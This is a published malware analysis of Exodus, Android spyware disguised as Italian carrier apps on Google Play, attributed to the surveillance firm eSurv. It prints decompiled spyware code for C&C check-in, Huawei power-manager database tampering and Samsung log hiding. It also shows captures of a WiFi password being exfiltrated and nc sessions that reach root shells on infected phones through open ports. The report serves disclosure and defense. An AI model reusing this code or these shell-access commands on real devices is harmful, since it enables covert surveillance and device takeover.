Exodus: New Android Spyware Made in Italy

March 29, 2019

Clicca qui per la versione in Italiano

Disclaimer: this research was conducted by members and associates of Security Without Borders, independently of any other affiliation or employer.


Disguised Spyware Uploaded on Google Play Store

We identified previously unknown spyware apps being successfully uploaded on Google Play Store multiple times over the course of over two years. These apps would remain available on the Play Store for months and would eventually be re-uploaded.

While details would vary, all of the identified copies of this spyware shared a similar disguise. In most cases they would be crafted to appear as applications distributed by unspecified mobile operators in Italy. Often the app description on the Play Store would reference some SMS messages the targets would supposedly receive leading them to the Play Store page. All of the Play Store pages we identified and all of the decoys of the apps themselves are written in Italian.

According to Google, whom we have contacted to alert about our discoveries, nearly 25 variants of this spyware were uploaded on Google Play Store. Google Play has removed the apps and they stated that “thanks to enhanced detection models, Google Play Protect will now be able to better detect future variants of these applications”.

While Google did not share with us the total number of infected devices, they confirmed that one of these malicious apps collected over 350 installations through the Play Store, while other variants collected few dozens each, and that all infections were located in Italy. We have directly observed multiple copies of Exodus with more than 50 installs and we can estimate the total number of infections to amount in the several hundreds, if not a thousand or more.

Stage 1: Exodus One

The first stage installed by downloading the malicious apps uploaded on Google Play Store only acts as a dropper. Following are some examples of the decoys used by these droppers:

The purpose of Exodus One seems to be to collect some basic identifying information about the device (namely the IMEI code and the phone number) and send it to the Command & Control server. This is usually done in order to validate the target of a new infection. This is further corroborated by some older and unobfuscated samples from 2016, whose primary classes are named CheckValidTarget.

During our tests the spyware was upgraded to the second stage on our test device immediately after the first check-ins. This suggests that the operators of the Command & Control are not enforcing a validation of the targets. Additionally, during a period of several days, our infected test device was never remotely disinfected by the operators.

For the purpose of this report we analyze here the Exodus One sample with hash 8453ce501fee1ca8a321f16b09969c517f92a24b058ac5b54549eabd58bf1884 which communicated with the Command & Control server at Other samples communicated with other servers listed at the bottom of this report. Exodus One checks-in by sending a POST request containing the app package name, the device IMEI and an encrypted body containing additional device information.

POST /eddd0317-2bdc-4140-86cb-0e8d7047b874 HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
Content-Type: application/octet-stream
Content-Length: 256
Connection: Keep-Alive
Accept-Encoding: gzip

.....,Q... N.v..us.R.........../...\D..5p..q    ......4



HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip


The encrypted body is composed of various identifiers which are joined together:

StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(" ");

doFinal() is called to encrypt the device information string:

final byte[] doFinal = a3.doFinal(stringBuilder.toString().getBytes());

The user agent string is built from the package name and IMEI number:

subscriberId = stringBuilder2.toString();

Finally the HTTP request is sent to the server at Many of the strings in the application are XOR’d with the key Kjk1MmphFG:

StringBuilder stringBuilder3 = new StringBuilder();
final Request build = builder.url(stringBuilder3.toString()).header("User-Agent", subscriberId).post(create).build();

After some additional requests, the dropper made a POST request to which returned a zip file containing the second stage binaries.

POST /56e087c9-fc56-49bb-bbd0-4fafc4acd6e1 HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
Content-Type: application/octet-stream
Content-Length: 256
Connection: Keep-Alive
Accept-Encoding: gzip




HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

PK.........e[L@..c4'...T......null_armUT    ...D.ZxD.Zux..............|}|....y.%...O`.....f..0..)..P..

Stage 2: Exodus Two

The Zip archive returned by the check-in performed by Exodus One is a collection of files including the primary payload mike.jar and several compiled utilities that serve different functions. At least in most recent versions, as of January 2019, the Zip archive would actually contain the i686, arm and arm64 versions of all deployed binaries.

File Name Modified Date SHA256
null_arm 2018-02-27 06:44:00 48a7dd672931e408662d2b5e1abcd6ef00097b8ffe3814f0d2799dd6fd74bd88
null_i686 2018-02-27 06:44:00 c228a534535b22a316a97908595a2d793d0fecabadc32846c6d1bfb08ca9a658
null_arm64 2018-02-27 06:43:00 48a7dd672931e408662d2b5e1abcd6ef00097b8ffe3814f0d2799dd6fd74bd88
sepolicy-inject_arm 2019-01-08 04:55:00 47449a612697ad99a6fbd6e02a84e957557371151f2b034a411ebb10496648c8
sepolicy-inject_arm64 2019-01-08 04:55:00 824ad333320cbb7873dc49e61c14f749b0e0d88723635524463f2e6f56ea133a
sepolicy-inject_i686 2019-01-08 04:55:00 13ec6cec511297ac3137cf7d6e4a7c4f5dd2b24478a06262a44f13a3d61070b6
rootdaemon_arm 2019-01-08 04:55:00 00c787c0c0bc26caf623e66373a5aaa1b913b9caee1f34580bdfdd21954b7cc4
rootdaemon_arm64 2019-01-08 04:55:00 3ee3a973c62ba5bd9eab595a7c94b7a26827c5fa5b21964d511ab58903929ec5
mike.jar 2018-12-06 05:50:00 a42a05bf9b412cd84ea92b166d790e8e72f1d01764f93b05ace62237fbabe40e
rootdaemon_i686 2019-01-08 04:55:00 b46f282f9a1bce3798faee3212e28924730a657eb93cda3824c449868b6ee2e7
zygote_daemon_arm 2019-01-08 04:55:00 e3f65f84dd6c2c3a5a653a3788d78920c0321526062a6b53daaf23fa57778a5f
zygote_daemon_arm64 2019-01-08 04:55:00 11499ff2418f4523344de81a447f6786fdba4982057d4114f64db929990b4b59
zygote_daemon_i686 2019-01-08 04:55:00 3c9f08b3280851f54414dfa5a57f40d3b7be7b73736fa0ba21b078e75ce54d33
sapp.apk 2019-01-08 04:53:00 4bf1446c412dd5c552539490d03e999a6ceb96ae60a9e7846427612bec316619
placeholder 2018-03-29 16:31:00 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

After download, Exodus One would dynamically load and execute the primary stage 2 payload mike.jar using the Android API DexClassLoader(). mike.jar implements most of the data collection and exfiltration capabilities of this spyware.

Of the various binaries downloaded, the most interesting are null, which serves as a local and reverse shell, and rootdaemon, which takes care of privilege escalation and data acquisition. rootdaemon will first attempt to jailbreak the device using a modified version of the DirtyCow exploit.

Similarly to another Android spyware made in Italy, originally discovered by Lukas Stefanko and later named Skygofree and analyzed in depth by Kaspersky Labs, Exodus also takes advantage of “protectedapps”, a feature in Huawei phones that allows to configure power-saving options for running applications. By manipulating a SQLite database, Exodus is able to keep itself running even when the screen goes off and the application would otherwise be suspended to reduce battery consumption.

if ( !func_sqlite_loaddb((int)"/data/data/com.huawei.systemmanager/databases/Optimize.db", (int)&db_handle) )
    sprintf(&s, "INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')", v1, 0);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "DELETE FROM backgroundwhiteapps WHERE package_name='%s'", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "INSERT INTO backgroundwhiteapps (package_name) VALUES ('%s')", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
if ( !func_sqlite_loaddb(
        (int)&db_handle) )
    sprintf(&s, "INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')", v2, a2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);
    sprintf(&s, "DELETE FROM rogueapps WHERE pkgname='%s'", v2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);
    sprintf(&s, "DELETE FROM superpowerapps WHERE pkgname='%s'", v2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);
    sprintf(&s, "REPLACE INTO unifiedpowerapps (pkg_name,is_protected,is_show,is_changed) VALUES ('%s',1,0,0)", v2);
    func_sqlite_exec(db_handle, &s, 0, 0, &v5);

Additionally, rootdaemon attempts to remove its own power usage statistics from Huawei phones’ SystemManager:

if ( !func_sqlite_loaddb((int)"/data/data/com.huawei.systemmanager/databases/stusagestat.db", (int)&db_handle) )
    sprintf(&s, "REPLACE INTO default_value_table (pkg_name,control,protect,keytask) VALUES ('%s',0,2,0)", v1, 0);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "DELETE FROM st_key_procs_table WHERE st_key_process='%s'", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "INSERT INTO st_key_procs_table (st_key_process) VALUES ('%s')");
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);
    sprintf(&s, "REPLACE INTO st_protected_pkgs_table (pkg_name,is_checked) VALUES ('%s',1)", v1);
    func_sqlite_exec(db_handle, &s, 0, 0, &v4);

Similarly, the malicious application probably attempts to minimize traces on Samsung phones by adding to the file /data/data/com.samsung.android.securitylogagent/shared_prefs/apm_sp_status_of_apps.xml the following lines:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
    <int name=\"[APP NAME]\" value=\"33554499\" />

And adding to the file /data/data/com.samsung.android.securitylogagent/shared_prefs/com.samsung.android.securitylogagent_preferences.xml these lines instead:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
    <boolean name=\"[APP NAME]\" value=\"false\" />

Data Collection and Exfiltration

As mentioned, mike.jar equips the spyware with extensive collection capabilities, including:

While some of these acquisition are performed purely through code in mike.jar, some others that require access to, for example, SQLite databases or other files in the application’s storage are performed through rootdaemon instead, which should be running with root privileges. In order to achieve this, mike.jar connects to rootdaemon through various TCP ports that the daemon binds on some extraction routines for supported applications:

These services appear to be running on all network interfaces and are therefore accessible to anyone sharing a local network with an infected device.

 tcp       0      0 *              LISTEN
 tcp       0      0 *              LISTEN
 tcp       0      0 *              LISTEN
 tcp       0      0 *              LISTEN
 tcp       0      0 *              LISTEN

Following we can see an example of a connection to port 6209 which is used to extract data from the Telegram app. We are able to send commands to the service such as dumpmsgdb or getkey (which dumps the tgnet.dat file).

user@laptop:~$ nc 6209 | xxd
00000000: 1f8b 0800 0000 0000 0003 1361 6660 0022  ...........af`."
00000010: 06f3 e995 7bb6 9616 cd04 6126 0604 70b7  ....{.....a&..p.
00000020: bfb9 e1d2 d959 e741 f220 3e2b 1073 0131  .....Y.A. >+.s.1
00000030: 2392 1a10 9bcf d0c4 52cf d0d4 44cf d0dc  #.......R...D...


00000080: 24d5 02e4 2423 ac4e a2c8 4dcc 686e e247  $...$#.N..M.hn.G
00000090: 0e27 4303 03c2 e164 4cf5 7062 c117 4e96  .'C....dL.pb..N.
000000a0: 4484 9309 f5c3 8915 cd4d bc88 7032 d433  D........M..p2.3
000000b0: 65c0 9f9e d240 8e32 a56a 3801 00c3 3f3c  e....@.2.j8...?<
000000c0: ab18 0300 00  

Data acquired from mike.jar’s extraction modules is normally XORed and stored in a folder named .lost+found on the SD card. Data is eventually exfiltrated over a TLS connection to the Command & Control server ws.my-local-weather[.]com through an upload queue.

As mentioned before, our test device was automatically from stage one to stage two, which started collecting data. For example, the password of the WiFi network used by the phone was stored in the folder /storage/emulated/0/.lost+found/0BBDA068-9D27-4B55-B226-299FCF2B4242/ using the following file name format DD_MM_2019_HH_mm_ss_XXXXXXXXXXXXX.txt.crypt (the datetime followed by the IMEI). Eventually we observed the agent exfiltrate the WiFi password from our test phone to the Command & Control server:

PUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
DETAILS: {"date":"[REDACTED]","imei":"[REDACTED]","filenameb64":"[REDACTED]\u003d\u003d","filepathb64":"[REDACTED]\u003d","fileDirectoryb64":"[REDACTED]\u003d","uploadType":"WIFIPASSWORD","encrypted":true}
Content-Type: application/octet-stream
Content-Length: 277
Host: ws.my-local-weather.com
Connection: Keep-Alive
Accept-Encoding: gzip

l.9TqRuosV..~.:. ...` [REDACTED] ....s)Sp.^...5z..d0pRu

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jan 2019 15:53:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip


Similarly, the agent also sent to the Command & Control the list of installed apps:

PUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1
User-Agent: it.promofferte:[REDACTED]
DETAILS: {"date":"[REDACTED]","imei":"[REDACTED]","filenameb64":"[REDACTED]\u003d\u003d","filepathb64":"[REDACTED]\u003d\u003d","fileDirectoryb64":"[REDACTED]\u003d","uploadType":"APPLIST","encrypted":true}
Content-Type: application/octet-stream
Content-Length: 11502
Host: ws.my-local-weather.com
Connection: Keep-Alive
Accept-Encoding: gzip




HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

This Command & Control seems to have been active since at least April 2017 and was registered impersonating the legitimate service AccuWeather.

Registrant Name: AccuWeather, Inc.
Registrant Organization: AccuWeather, Inc.
Registrant Street: 385 SCIENCE PARK RD
Registrant City: STATE COLLEGE
Registrant State/Province: PA
Registrant Postal Code: 16803-2215
Registrant Country: US
Registrant Phone: +1.8142358528
Registrant Phone Ext:
Registrant Fax: +1.8142358528
Registrant Fax Ext:
Registrant Email: accuweather@nycmail[.]com

Local and Remote Shells

In order to execute commands on the infected devices, as well as to provide a reverse shell to the Command & Control operators, Exodus Two immediately attempts to execute a payload it downloads with the name null. Once launched, null will first verify whether it is able to fork on the system and that there is no other instance of itself currently running by checking whether the local port number 6842 is available.

This payload will then attempt to instantiate a remote reverse /system/bin/sh shell to the Command & Control ws.my-local-weather[.]com on port 22011. It is worth noticing that this remote reverse shell does not employ any transport cryptography. The traffic transits in clear and is therefore potentially exposed to man-in-the-middle attacks:

At the same time, null will also bind a local shell on This local port is used by Exodus Two to execute various commands on the Android device, such as enabling or disabling certain services, or parsing app databases.

However, binding a shell on all available interfaces will obviously make it accessible to anyone who is sharing at least a local network with an infected device. For example, if an infected device is connected to a public Wi-Fi network any other host will be able to obtain a terminal on the device without any form of authentication or verification by simply connecting to the port.

user@laptop:~$ nc 6842 -v
Connection to 6842 port [tcp/*] succeeded!
u0_a114@hammerhead:/ $ id
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0

If the mobile operator doesn’t enforce proper client isolation, it is possible that the infected devices are also exposed to the rest of the cellular network.

Obviously, this inevitably leaves the device open not only to further compromise but to data tampering as well.

null is not the only payload opening a shell on the phone. The rootdaemon binary in fact offers several other possibilities to execute commands on the infected device just by connecting to TCP port 6200 and issuing one of the following commands.

Sending the command sh to TCP port 6200 results in a full terminal being dropped:

user@laptop:~$ nc 6200
system@hammerhead:/ $ id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0
system@hammerhead:/ $

Sending the command cmd followed by a proper terminal command will execute it and print the output (in the example we use id which displays the identity of the system user running the issued commands):

user@laptop:~$ nc 6200
cmd id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0

Doing the same as above but with command sucmd will run the terminal command as root:

$ nc 6200
sucmd id
uid=0(root) gid=0(root) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0

Other commands supported by rootdaemon on TCP port 6200 are su (which in our tests didn’t properly work), loadsocketpolicy, loadfilepolicy, remount and removeroot.

At the cost of possibly being overly verbose, following is the output of an nmap scan of the infected Android device from a laptop in the same local network, which further demonstrantes the availability of the same open TCP ports that we have mentioned thus far:

user@laptop:~$ nmap -p6000-7000

Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-28 17:12 CET
Nmap scan report for android-[REDACTED] (
Host is up (0.035s latency).
Not shown: 994 closed ports
6200/tcp open  lm-x
6201/tcp open  thermo-calc
6205/tcp open  unknown
6209/tcp open  qmtps
6211/tcp open  unknown
6212/tcp open  unknown
6842/tcp open  netmo-http

Nmap done: 1 IP address (1 host up) scanned in 2.30 seconds

Identification of eSurv

Presence of Italian language

At a first look, the first samples of the spyware we obtained did not show immediately evident connections to any company. However, the persistent presence of Italian language both on the Google Play Store pages as well as inside the spyware code was a clear sign that an Italian actor was behind the creation of this platform. Initially some particular words from the decompiled classes.dex of Exodus Two sent us in the right direction.

a("MUNDIZZA", "09081427-FE30-46B7-BFC6-50425D3F85CC", ".*", false);
this.b.info("UPLOADSERVICE Aggiunti i file mundizza. Dimensione coda upload {}", Integer.valueOf(this.c.size()));

Mundizza” is a dialectal word, a derivative of the proper Italian word “immondizia” that translates to “trash” or “garbage” in English. Interestingly, “mundizza” is typical of Calabria, a region in the south of Italy, and more specifically it appears to be language native of the city of Catanzaro.

Additionally, some copies of Exodus One use the following XOR key:

char[] cArr = new char[]{'R', 'I', 'N', 'O', ' ', 'G', 'A', 'T', 'T', 'U', 'S', 'O'};

Rino Gattuso is a famous retired Italian footballer, originally from Calabria.

While not too seriously, these elements made us restrict our research into surveillance companies from the region.

Overlapping Infrastructure with eSurv Surveillance Cameras

The Command & Control domain configured in several of the malicious applications found on Google Play Store, ws.my-local-weather[.]com, points to the IP address which serves a self-signed TLS certificate with the certificate common name MyCert and fingerprint 11:41:45:2F:A7:07:23:54:AE:9A:CE:F4:FE:56:AE:AC:B1:C2:15:9F:6A:FC:1E:CC:7D:F8:61:E3:25:26:73:6A.

A search for this certificate fingerprint on the Internet scanning service Censys returns 8 additional servers:

IP address

Opening the Command & Control web page in a browser presents a Basic Authentication prompt:

Closing this prompt causes the server to send a “401 Unauthorized Response” with an “Access Denied” message in Italian.

All of the other IP address we discovered sharing the same TLS certificate behave in the same way.

The Command & Control server also displays a favicon image which looks like a small orange ball.

At the time of writing, a reverse image search for the favicon on Shodan using the query http.favicon.hash:990643579 returned around 40 web servers which use the same favicon.

Many of these servers are control panels for video surveillance systems developed by the Italian company eSurv, based in Catanzaro, in Calabria, Italy.

Their publicly advertised products include CCTV management systems, surveillance drones, face and license plate recognition systems.

eSurv’s logo is identical to the Command & Control server favicon.

Older samples connecting to eSurv

Finally, Google shared with us some older samples of Exodus One (with hashes 2055584625d24687bd027a63bc0b8faa7d1a854a535de74afba24840a52b1d2f and a37f5d2418c5f2f64d06ba28fe62edee1293a56158ddfa9f04020e316054363f) which are not obfuscated and use the following disguise:

The configuration of these older samples is very similar to newer ones, but it provides additional insights being not obfuscated:

package com.vend.management.carrier.mylibrary;

public class Configuration {
    public static final String BUNDLE_CUSTOM_FILENAME = "D10CEE67-E1EF-4C17-96DC-BEB51B0A9A55";
    public static final String BUNDLE_UNIVERSAL_FILENAME = "AD9FF676-875E-4294-A230-44EA1A4B15A1";
    public static final String EXPLOIT_ARM = "07DD890F-8495-4E74-826F-BF7AED84B351";
    public static final String EXPLOIT_I686 = "6F6F8F3F-7996-44B4-AD92-4BB03D02D926";
    public static final String HOST_DIRECTORY = "/7e661733-e332-429a-a7e2-23649f27690f/";
    public static final String HOST_IP = "attiva.exodus.esurv.it";
    public static final String HOST_WS_BUNDLE1 = "B45551E5-8B53-4960-8B47-041A46D1B954";
    public static final String HOST_WS_BUNDLE2 = "6AD98532-7605-4DB0-9CE4-56816B203DBD";
    public static final String HOST_WS_INIT = "7acbff64-7a3a-4ebd-8997-4839b5937024";
    public static final String KEY_STRING_B64 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7k5xg4sfzLcucmXE24jsI3fJ2+4vt3wVCR0WA3hfqDdlOx7EHWTKues1MLY1Cps8Y3nVId3E7GtzjTTlI++eHcoEd3eVXWdnGRtci+MB8O89HWLqhqCds/FmTkG4rdSF7oTlTcrKKwRs6QLqZceCQo00S9DXMNXIXOflXa4DTzH0LqlPcq8QTQGNKp8InC0fDsP02kGC4dNk1yNxCfJvVmXp06fYoLFrqYCofoBMkRkWTpTb83ibwdmE3LrzVLDwVNJHDCglgPKHvCPFex9+NRZIdzSDE6GxbuT+l+VbPYg8BpXjEtr68k81ZLFSnKrdSJLqtuJ0LvaTzEYxRikzzwIDAQAB";
    public static final String PLACEHOLDER_AFTER_FIRST_EXECUTION = "5CBAECF0-6D42-430C-99AD-9493EC45C566";
    public static final String UNZIPPED_FOLDER = "BD014144-796E-41B0-89C5-2EEC42765254";

Firstly we can notice that, instead of generic domain names or IP addresses, these samples communicated with a Command & Control server located at attiva.exodus.esurv[.]it ("attiva" is the Italian for “activate”).

public static final String HOST_IP = "attiva.exodus.esurv.it";

(We named the spyware “Exodus” after this Command & Control domain name.)

Following is the snippet of code in these older Exodus One samples showing the connection to the Command & Control:

final byte[] encryptedBytes = StepOneCipher().doFinal((" " + "#" + imei + "#" + versione + "#" + telefono).getBytes());
final Request request = new Request.Builder().url("https://attiva.exodus.esurv.it/7e661733-e332-429a-a7e2-23649f27690f/7acbff64-7a3a-4ebd-8997-4839b5937024.php").post(RequestBody.create(MTYPE, encryptedBytes)).build();

Below is the almost identical composition of the request to the Command & Control server in mike.jar (also containing the path 7e661733-e332-429a-a7e2-23649f27690f):

if (bArr == null) {
    bArr = l.c().doFinal((" " + "#" + deviceId + "#" + str3 + "#" + telephonyManager.getLine1Number()).getBytes());
Response execute = build.newCall(new Request.Builder().url("https://ws.my-local-weather[.]com/7e661733-e332-429a-a7e2-23649f27690f/" + str2 + ".php").post(RequestBody.create(a, bArr)).build()).execute();

To further corroborate the connection of the Exodus spyware with eSurv, the domain attiva.exodus.esurv.it resolves to the IP which, according to public passive DNS data, in 2017 was used to host the domain server1cs.exodus.connexxa.it. Connexxa was a company also from Catanzaro. According to publicly available information, the founder of Connexxa seems to also be the CEO of eSurv.

Interestingly, we found other DNS records mostly from 2017 that follow a similar pattern and appear to contain two-letters codes for districts in Italy:

Server City
server1bo.exodus.connexxa[.]it Bologna
server1bs.exodus.connexxa[.]it Brescia
server1cs.exodus.connexxa[.]it Cosenza
server1ct.exodus.connexxa[.]it Catania
server1fi.exodus.connexxa[.]it Firenze
server1na.exodus.connexxa[.]it Napoli
server1rc.exodus.connexxa[.]it Reggio Calabria
server2ct.exodus.connexxa[.]it Catania
server2cz.exodus.connexxa[.]it Catanzaro
server2fi.exodus.connexxa[.]it Firenze
server2mi.exodus.connexxa[.]it Milano
server2rc.exodus.connexxa[.]it Reggio Calabria
server3bo.exodus.connexxa[.]it Bologna
server3ct.exodus.connexxa[.]it Catania
server3fi.exodus.connexxa[.]it Firenze
server4fi.exodus.connexxa[.]it Firenze

Public Resume Confirms Development of Android Agent

Additionally, an employee of eSurv quite precisely described their work in developing an “agent to gather data from Android devices and send it to a C&C server” as well as researching “vulnerabilities in mobile devices (mainly Android)” in a publicly available resume. Further details in it reflect characteristics of Exodus (such as the bypass of power managers we described from Exodus One, and more):

Indicators of Compromise

Exodus One


Exodus One Package Names


Exodus Two


Exodus Two ELF Utilities


Command & Controls


Subscribe to the RSS feed.